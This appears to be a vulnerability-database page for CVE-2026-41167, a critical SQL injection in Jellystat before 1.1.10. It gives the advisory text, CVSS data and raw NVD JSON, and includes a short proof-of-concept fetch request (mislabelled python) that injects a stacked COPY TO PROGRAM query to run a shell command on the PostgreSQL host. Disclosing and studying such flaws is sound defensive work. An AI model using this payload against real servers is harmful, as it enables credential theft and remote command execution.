CVE-2026-41167

Description

Jellystat is a free and open source Statistics App for Jellyfin. Prior to version 1.1.10, multiple API endpoints in Jellystat build SQL queries by interpolating unsanitized request-body fields directly into raw SQL strings. An authenticated user can inject arbitrary SQL via `POST /api/getUserDetails` and `POST /api/getLibrary`, enabling full read of any table in the database - including `app_config`, which stores the Jellystat admin credentials, the Jellyfin API key, and the Jellyfin host URL. Because the vulnerable call site dispatches via `node-postgres`'s simple query protocol (no parameter array is passed), stacked queries are allowed, which escalates the injection from data disclosure to arbitrary command execution on the PostgreSQL host via `COPY ... TO PROGRAM`. Under the role shipped by the project's `docker-compose.yml` (a PostgreSQL superuser), no additional privileges are required to reach the RCE primitive. Version 1.1.10 contains a fix.

CVSS Details

CVSS Score

9.1

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Jellystat < 1.1.10

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// PoC for CVE-2026-41167
// Target: POST /api/getUserDetails
// Description: Exploits SQL injection to execute a system command via PostgreSQL COPY TO PROGRAM

const url = 'http://target-ip/api/getUserDetails';
const payload = {
    "userId": "1'; COPY (SELECT '') TO PROGRAM 'touch /tmp/pwned'; --"
};

fetch(url, {
    method: 'POST',
    headers: {
        'Content-Type': 'application/json',
        'Authorization': 'Bearer <valid_token>' // PR:H requires authentication
    },
    body: JSON.stringify(payload)
}).then(response => response.text())
  .then(data => console.log(data))
  .catch(error => console.error('Error:', error));

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-41167
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-41167
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-41167/
[4] VulDB https://vuldb.com/cve/CVE-2026-41167
[5] https://github.com/CyferShepard/Jellystat/commit/735fe7c6eb0e3e34e92a8a82fd21914d76693665
[6] https://github.com/CyferShepard/Jellystat/security/advisories/GHSA-fj7c-2p5q-g56m
[7] https://github.com/CyferShepard/Jellystat/security/advisories/GHSA-fj7c-2p5q-g56m

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-41167", "sourceIdentifier": "[email protected]", "published": "2026-04-22T21:17:09.303", "lastModified": "2026-04-29T20:46:33.890", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Jellystat is a free and open source Statistics App for Jellyfin. Prior to version 1.1.10, multiple API endpoints in Jellystat build SQL queries by interpolating unsanitized request-body fields directly into raw SQL strings. An authenticated user can inject arbitrary SQL via `POST /api/getUserDetails` and `POST /api/getLibrary`, enabling full read of any table in the database - including `app_config`, which stores the Jellystat admin credentials, the Jellyfin API key, and the Jellyfin host URL. Because the vulnerable call site dispatches via `node-postgres`'s simple query protocol (no parameter array is passed), stacked queries are allowed, which escalates the injection from data disclosure to arbitrary command execution on the PostgreSQL host via `COPY ... TO PROGRAM`. Under the role shipped by the project's `docker-compose.yml` (a PostgreSQL superuser), no additional privileges are required to reach the RCE primitive. Version 1.1.10 contains a fix."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.3, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://github.com/CyferShepard/Jellystat/commit/735fe7c6eb0e3e34e92a8a82fd21914d76693665", "source": "[email protected]"}, {"url": "https://github.com/CyferShepard/Jellystat/security/advisories/GHSA-fj7c-2p5q-g56m", "source": "[email protected]"}, {"url": "https://github.com/CyferShepard/Jellystat/security/advisories/GHSA-fj7c-2p5q-g56m", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}